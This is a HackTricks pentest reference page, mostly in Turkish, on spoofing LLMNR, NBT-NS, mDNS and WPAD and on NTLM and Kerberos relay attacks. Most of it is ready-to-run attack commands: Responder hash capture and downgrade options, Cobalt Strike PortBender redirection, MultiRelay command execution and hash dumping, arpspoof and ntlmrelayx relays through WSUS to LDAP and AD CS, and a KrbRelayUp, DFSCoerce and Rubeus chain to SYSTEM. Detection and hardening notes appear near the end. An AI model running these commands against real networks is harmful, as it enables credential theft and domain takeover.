Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
Reading time: 14 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın:
HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Ağ Protokolleri
Yerel Host Çözümleme Protokolleri
- LLMNR, NBT-NS, and mDNS:
- Microsoft ve diğer işletim sistemleri DNS başarısız olduğunda yerel isim çözümü için LLMNR ve NBT-NS kullanır. Benzer şekilde, Apple ve Linux sistemleri mDNS kullanır.
- Bu protokoller, UDP üzerinden kimlik doğrulaması olmadan ve broadcast (yayın) şeklinde çalıştıkları için dinleme ve spoofing'e karşı hassastır.
- Responder, bu protokolleri sorgulayan hostlara sahte yanıtlar göndererek hizmetleri taklit etmek için kullanılabilir.
- Responder kullanarak hizmet taklidi hakkında daha fazla bilgiye buradan ulaşılabilir.
Web Proxy Auto-Discovery Protocol (WPAD)
- WPAD, tarayıcıların proxy ayarlarını otomatik olarak keşfetmesini sağlar.
- Keşif DHCP, DNS aracılığıyla ya da DNS başarısız olursa LLMNR ve NBT-NS'e geri dönerek gerçekleştirilir.
- Responder, WPAD saldırılarını otomatikleştirerek istemcileri kötü amaçlı WPAD sunucularına yönlendirebilir.
Responder for Protocol Poisoning
- Responder is a tool used for poisoning LLMNR, NBT-NS, and mDNS queries, selectively responding based on query types, primarily targeting SMB services.
- Kali Linux'ta önceden yüklü gelir,
/etc/responder/Responder.confdosyasından yapılandırılabilir. - Responder, yakalanan hashleri ekranda gösterir ve
/usr/share/responder/logsdizinine kaydeder. - Hem IPv4 hem de IPv6'yı destekler.
- Responder'ın Windows sürümü burada mevcuttur.
Running Responder
- Varsayılan ayarlarla Responder'ı çalıştırmak için:
responder -I <Interface> - Daha agresif tarama için (yan etkiler olabilir):
responder -I <Interface> -P -r -v - Kolay kırma için NTLMv1 challenge/response yakalama teknikleri:
responder -I <Interface> --lm --disable-ess - WPAD taklidini etkinleştirmek için:
responder -I <Interface> --wpad - NetBIOS istekleri saldırganın IP'sine yönlendirilebilir ve bir authentication proxy kurulabilir:
responder.py -I <interface> -Pv
DHCP Poisoning with Responder
- DHCP yanıtlarını spoofing yaparak taklit etmek, kurbanın routing bilgilerini kalıcı olarak zehirleyebilir; bu, ARP poisoning'e göre daha gizli bir alternatiftir.
- Hedef ağın yapılandırması hakkında kesin bilgi gerektirir.
- Saldırıyı çalıştırmak için:
./Responder.py -I eth0 -Pdv - Bu yöntem NTLMv1/2 hashlerini etkili şekilde yakalayabilir, ancak ağ kesintisini önlemek için dikkatli kullanılmalıdır.
Capturing Credentials with Responder
- Responder, yukarıda bahsedilen protokolleri kullanarak hizmetleri taklit eder ve bir kullanıcı taklit edilen hizmetlere kimlik doğrulaması yapmaya çalıştığında kimlik bilgilerini (genellikle NTLMv2 Challenge/Response) yakalar.
- Kimlik bilgilerini daha kolay kırmak için NetNTLMv1'e düşürme veya ESS'i devre dışı bırakma girişimleri yapılabilir.
Bu tekniklerin uygulanmasının yasal ve etik çerçevede, uygun yetkilendirme sağlanarak ve kesinti veya yetkisiz erişimden kaçınılarak yapılması kritik önem taşır.
Inveigh
Inveigh, Windows sistemleri için tasarlanmış penetration testers ve red teamers için bir araçtır. Responder'a benzer işlevsellikler sunar; spoofing ve man-in-the-middle saldırıları gerçekleştirir. Araç, bir PowerShell betiğinden C# ikili dosyasına doğru evrilmiştir; ana sürümleri Inveigh ve InveighZero şeklindedir. Ayrıntılı parametreler ve talimatlar wiki sayfasında bulunabilir.
Inveigh, PowerShell üzerinden çalıştırılabilir:
Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y
Veya C# binary olarak çalıştırıldığında:
Inveigh.exe
NTLM Relay Attack
Bu saldırı, SMB kimlik doğrulama oturumlarını hedef makineye erişmek için kullanır ve başarılı olursa bir sistem kabuğu sağlar. Temel önkoşullar şunlardır:
- Kimlik doğrulayan kullanıcının relayed host üzerinde Local Admin erişimine sahip olması gerekir.
- SMB signing devre dışı bırakılmalıdır.
445 Port Yönlendirme ve Tünelleme
Doğrudan ağ erişiminin mümkün olmadığı senaryolarda, 445 portundaki trafik yönlendirilmeli ve tünellenmelidir. PortBender gibi araçlar, 445 trafiğini başka bir porta yönlendirmede yardımcı olur; bu, sürücü yüklemek için Local Admin erişimi mevcut olduğunda önemlidir.
PortBender kurulumu ve Cobalt Strike içinde çalıştırılması:
Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)
beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server
beacon> socks 1080 # Establish a SOCKS proxy on port 1080
# Termination commands
beacon> jobs
beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop
NTLM Relay Attack için Diğer Araçlar
- Metasploit: proxylerle ve yerel ile uzak host detaylarıyla yapılandırılır.
- smbrelayx: SMB oturumlarını relay etmek ve komutlar yürütmek veya backdoors dağıtmak için bir Python scripti.
- MultiRelay: belirli kullanıcıları veya tüm kullanıcıları relay etmek, komut çalıştırmak veya hash'leri dump etmek için Responder suite'inden bir araç.
Gerekirse her araç SOCKS proxy üzerinden çalışacak şekilde yapılandırılabilir; bu, dolaylı ağ erişimi olsa bile saldırıları mümkün kılar.
MultiRelay İşleyişi
MultiRelay /usr/share/responder/tools dizininden çalıştırılır; belirli IP'leri veya kullanıcıları hedef alır.
python MultiRelay.py -t <IP target> -u ALL # Relay all users
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes
# Proxychains for routing traffic
These tools and techniques form a comprehensive set for conducting NTLM Relay attacks in various network environments.
WSUS HTTP (8530) kullanarak NTLM Relay ile LDAP/SMB/AD CS (ESC8) kötüye kullanımı
WSUS client'ları update server'a NTLM üzerinden HTTP (8530) veya HTTPS (8531) ile kimlik doğrulaması yapar. HTTP etkinse, periyodik client check-in'leri lokal segmentte zorlanabilir veya yakalanıp ntlmrelayx ile LDAP/LDAPS/SMB veya AD CS HTTP uç noktalarına (ESC8) hash kırmadan relay edilebilir. Bu normal update trafiğine karışır ve sıklıkla makine hesabı kimlik doğrulamalarını (HOST$) getirir.
Neye bakmalı
- GPO/registry konfigürasyonu HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate ve ...\WindowsUpdate\AU altında:
- WUServer (ör. http://wsus.domain.local:8530)
- WUStatusServer (raporlama URL'si)
- UseWUServer (1 = WSUS; 0 = Microsoft Update)
- DetectionFrequencyEnabled ve DetectionFrequency (saat)
- Client'lar tarafından HTTP üzerinden kullanılan WSUS SOAP uç noktaları:
- /ClientWebService/client.asmx (onaylar)
- /ReportingWebService/reportingwebservice.asmx (durum)
- Varsayılan portlar: 8530/tcp HTTP, 8531/tcp HTTPS
Keşif
- Kimlik doğrulamasız
- Listener'lar için tarama: nmap -sSVC -Pn --open -p 8530,8531 -iL
- L2 MITM ile HTTP WSUS trafiğini sniffleyin ve aktif client'ları/uç noktaları wsusniff.py ile loglayın (yalnızca HTTP; client'ları TLS sertifikanıza güvenecek şekilde zorlayamazsanız).
- Kimlik doğrulamalı
- SYSVOL GPO'larını MANSPIDER + regpol ile WSUS anahtarları için parse edin (wsuspider.sh wrapper WUServer/WUStatusServer/UseWUServer özetler).
- Hostlar üzerinden veya yerelde uç noktaları ölçekli sorgulayın:
nxc smb
-u -p -M reg-query -o PATH="HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" KEY="WUServer" reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate
Uçtan uca HTTP relay adımları
-
MITM pozisyonu alın (aynı L2) böylece bir client WSUS server'ı sizi çözsün (ARP/DNS poisoning, Bettercap, mitm6, vb.). arpspoof ile örnek: arpspoof -i
-t <wsus_client_ip> <wsus_server_ip> -
Port 8530'ı relay listener'ınıza yönlendirin (isteğe bağlı, kullanışlı): iptables -t nat -A PREROUTING -p tcp --dport 8530 -j REDIRECT --to-ports 8530 iptables -t nat -L PREROUTING --line-numbers
-
HTTP listener ile ntlmrelayx başlatın (HTTP listener için Impacket desteği gerekir; aşağıdaki PR'lara bakın): ntlmrelayx.py -t ldap://
-smb2support -socks --keep-relaying --http-port 8530
Diğer yaygın hedefler:
- Exec/dump için SMB'ye relay (signing kapalıysa): -t smb://
- Directory değişiklikleri için LDAPS'ye relay (ör. RBCD): -t ldaps://
- AD CS web enrollment (ESC8) için relay edip bir sertifika mintleyip ardından Schannel/PKINIT ile kimlik doğrulama:
ntlmrelayx.py --http-port 8530 -t http://
/certsrv/certfnsh.asp --adcs --no-http-server AD CS kötüye kullanım yolları ve araçları için AD CS sayfasına bakın:
-
Bir client check-in tetikleyin veya zamanlamayı bekleyin. Bir client'tan: wuauclt.exe /detectnow veya Windows Update UI'ını kullanın (Check for updates).
-
Kimlik doğrulanmış SOCKS oturumlarını kullanın (eğer -socks) veya post-exploitation için direkt relay sonuçlarını kullanın (LDAP değişiklikleri, SMB işlemleri veya daha sonra kimlik doğrulama için AD CS sertifika düzenlemesi).
HTTPS kısıtı (8531)
- WSUS HTTPS üzerinden pasif yakalama etkisizdir, client'lar sizin sertifikanıza güvenmiyorsa. Güvenilen bir sertifika veya başka bir TLS kırma yöntemi olmadan, WSUS HTTPS trafiğinden NTLM el sıkışması elde edilemez/relay edilemez.
Notlar
- WSUS deprecated ilan edildi ancak yaygın şekilde kullanılıyor; HTTP (8530) birçok ortamda hala yaygın.
- Faydalı yardımcılar: wsusniff.py (HTTP WSUS check-in'lerini gözlemleme), wsuspider.sh (GPO'lardan WUServer/WUStatusServer'ı enumerate etme), NetExec reg-query ölçekli kullanım.
- Impacket, ntlmrelayx için HTTP listener desteğini PR #2034 ile geri getirdi (ilk olarak PR #913'te eklenmişti).
Force NTLM Logins
Windows'ta bazı ayrıcalıklı hesapları arbitrary makinelere kimlik doğrulaması yapmaya zorlayabilirsiniz. Nasıl yapıldığını öğrenmek için aşağıdaki sayfayı okuyun:
Force NTLM Privileged Authentication
Kerberos Relay attack
A Kerberos relay attack, bir AP-REQ ticket'ı bir servisten çalar ve aynı computer-account key'i paylaşan (çünkü her iki SPN de aynı $ machine account üzerinde) ikinci bir servise yeniden kullanır. Bu, SPN'lerin service class'ları farklı olsa bile (ör. CIFS/ → LDAP/) işe yarar çünkü bileti decrypt eden key makinenin NT hash'idir, SPN string'i kendisi değildir ve SPN string'i imzanın parçası değildir.
NTLM relay'den farklı olarak, atlama aynı host ile sınırlıdır ama eğer LDAP'a yazmanıza izin veren bir protokole hedeflenirseniz, bunu Resource-Based Constrained Delegation (RBCD) veya AD CS enrollment zincirine bağlayabilir ve tek seferde NT AUTHORITY\SYSTEM elde edebilirsiniz.
Bu saldırı hakkında detaylı bilgi için bakın:
-
https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html
-
https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/
-
- Kerberos basics
| Token | Amaç | Relay ile ilgisi |
|---|---|---|
| TGT / AS-REQ ↔ REP | Kullanıcıyı KDC'ye kanıtlar | dokunulmaz |
| Service ticket / TGS-REQ ↔ REP | Tek bir SPN'e bağlıdır; SPN sahibi hesabın anahtarıyla şifrelenir | aynı hesapta SPN'ler varsa değiştirilebilir |
| AP-REQ | Client TGS'yi servise gönderir | bizim çaldığımız ve tekrar oynattığımız şey |
- Biletler, SPN sahibi hesabın şifre türetilmiş anahtarı ile şifrelenir.
- AP-REQ içindeki Authenticator 5 dakikalık bir zaman damgasına sahiptir; o pencere içinde replay geçerlidir, ta ki servis cache'i bir duplicate görüp reddedene kadar.
- Windows nadiren bilettin içindeki SPN string'inin gerçekten vurduğunuz servisle eşleşip eşleşmediğini kontrol eder, bu yüzden
CIFS/HOSTiçin bir bilet normaldeLDAP/HOSTüzerinde de düzgün decrypt edilir.
-
- Kerberos relay için ne doğru olmalı
- Paylaşılan anahtar: kaynak ve hedef SPN'ler aynı computer account'a ait olmalı (Windows server'larda varsayılan).
- Channel protection yok: SMB/LDAP signing kapalı ve HTTP/LDAPS için EPA kapalı.
- Kimlik doğrulamayı yakalayabilir veya zorlayabilirsiniz: LLMNR/NBNS poison, DNS spoof, PetitPotam / DFSCoerce RPC, sahte AuthIP, rogue DCOM, vb.
- Bilet kaynağı zaten kullanılmamış olmalı: gerçek paket ulaşmadan önce yarışı kazanmalısınız veya tamamen engellemelisiniz; aksi halde servis replay cache'i Event 4649 tetikler.
- Bir şekilde iletişimde bir MitM yapabilmelisiniz — ör. domain DNS'ini değiştirme yetkiniz (DNSAmins grubu) veya kurbanın HOST dosyasını değiştirebilme gibi.
Kerberos Relay Steps
- 3.1 Host keşfi
# find servers where HTTP, LDAP or CIFS share the same machine account
Get-ADComputer -Filter * -Properties servicePrincipalName |
Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} |
Select Name,servicePrincipalName
- 3.2 Relay dinleyicisini başlat
# one-click local SYSTEM via RBCD
.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8
KrbRelayUp tek bir binary içinde KrbRelay → LDAP → RBCD → Rubeus → SCM bypass birleştirir.
- 3.3 Coerce Kerberos auth
# coerce DC to auth over SMB with DFSCoerce
.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50
DFSCoerce, DC'nin bize bir Kerberos CIFS/DC01 bileti göndermesini sağlar.
- 3.4 Relay the AP-REQ
KrbRelay, SMB'den GSS blob'unu çıkarır, bunu bir LDAP bind'e yeniden paketler ve ldap://DC01 adresine iletir — kimlik doğrulama başarılı olur çünkü aynı anahtar bunu çözer.
- 3.5 Abuse LDAP ➜ RBCD ➜ SYSTEM
# (auto inside KrbRelayUp) manual for clarity
New-MachineAccount -Name "FAKE01" -Password "P@ss123"
KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID
Rubeus s4u /user:FAKE01$ /rc4:<hash> /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt
SCMUACBypass.exe
You now own NT AUTHORITY\SYSTEM.
Bilmeniz gereken diğer yollar
| Vector | Trick | Why it matters |
|---|---|---|
| AuthIP / IPSec | Sahte sunucu herhangi bir SPN ile bir GSS-ID payload gönderir; istemci doğrudan size bir AP-REQ oluşturur | Alt ağlar arasında bile çalışır; machine creds varsayılan |
| DCOM / MSRPC | Kötü amaçlı OXID resolver istemciyi rastgele bir SPN ve porta auth yapmaya zorlar | Tamamen yerel priv-esc; firewall'ı atlar |
| AD CS Web Enroll | Makine ticket'ini HTTP/CA'ya relay edip bir cert alın, sonra PKINIT ile TGT'ler oluşturun | LDAP signing savunmalarını atlar |
| Shadow Credentials | msDS-KeyCredentialLink yazın, sonra sahte anahtar çifti ile PKINIT yapın | Bilgisayar hesabı eklemeye gerek yok |
Sorun Giderme
| Error | Meaning | Fix |
|---|---|---|
KRB_AP_ERR_MODIFIED | Ticket key ≠ target key | Yanlış host/SPN |
KRB_AP_ERR_SKEW | Clock > 5 min offset | Zamanı senkronize edin veya w32tm kullanın |
| LDAP bind fails | Signing enforced | AD CS yolunu kullanın veya signing'i devre dışı bırakın |
| Event 4649 spam | Service saw duplicate Authenticator | Orijinal paketi engelleyin veya onunla yarışın |
Tespit
- Kısa süre içinde aynı kaynaktan
CIFS/,HTTP/,LDAP/için Event 4769 artışı. - Serviste Event 4649, replay tespit edildiğini gösterir.
- 127.0.0.1 üzerinden Kerberos oturumu (yerel SCM'ye relay) son derece şüphelidir — KrbRelayUp dokümanlarındaki Sigma kuralıyla eşleyin.
msDS-AllowedToActOnBehalfOfOtherIdentityveyamsDS-KeyCredentialLinközniteliklerinde yapılan değişiklikleri izleyin.
Sertleştirme
- Her sunucuda LDAP & SMB signing + EPA'yı zorunlu kılın.
- SPN'leri ayırın; böylece HTTP, CIFS/LDAP ile aynı hesapta olmasın.
- Zorlama vektörlerini yamalayın (PetitPotam KB5005413, DFS, AuthIP).
- Kötü amaçlı bilgisayar katılımlarını durdurmak için
ms-DS-MachineAccountQuota = 0olarak ayarlayın. - Event 4649 ve beklenmeyen loopback Kerberos oturumları için uyarı oluşturun.
References
- https://intrinium.com/smb-relay-attack-tutorial/
- https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/
- https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/
- https://intrinium.com/smb-relay-attack-tutorial/
- https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html
- WSUS Is SUS: NTLM Relay Attacks in Plain Sight (TrustedSec)
- GoSecure – Abusing WSUS to enable NTLM relaying attacks
- Impacket PR #2034 – Restore HTTP server in ntlmrelayx
- Impacket PR #913 – HTTP relay support
- WSUScripts – wsusniff.py
- WSUScripts – wsuspider.sh
- MS-WSUSOD – Windows Server Update Services: Server-to-Client Protocol
- Microsoft – WSUS deprecation announcement
tip
AWS Hacking'i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın:
HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
HackTricks